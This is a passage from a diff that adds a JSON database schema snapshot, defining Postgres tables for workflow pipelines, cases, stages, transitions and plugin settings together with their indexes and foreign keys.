+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
